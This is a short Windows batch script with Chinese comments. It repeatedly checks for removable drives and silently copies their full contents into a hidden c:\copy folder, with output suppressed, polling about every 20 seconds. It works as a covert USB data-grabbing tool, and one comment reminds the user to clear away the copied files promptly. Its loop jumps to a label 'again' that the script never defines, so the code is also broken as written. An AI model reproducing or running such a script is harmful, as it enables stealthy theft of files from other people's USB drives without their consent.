@echo off 
cls 
del /Q /f "%temp%\copy.tmp" >nul 2>nul 
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp" 
findstr /i "可移动驱动器" "%temp%\copy.tmp"  
if errorlevel==1 goto end 
if errorlevel==0 goto copy  
:end  
rem 没有检测到可移动磁盘！ 
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul 
%temp%\sleep.exe 20s 
goto again 
:copy  
if exist c:\copy goto goon 
cd\ 
cd /d c: 
md copy   
:goon  
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do ( 
xcopy /e /y  %%i\*.* c:\copy >nul 2>nul 
) 
rem 已复制，请及时清理文件！ 
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul 
%temp%\sleep.exe 20s 
goto again
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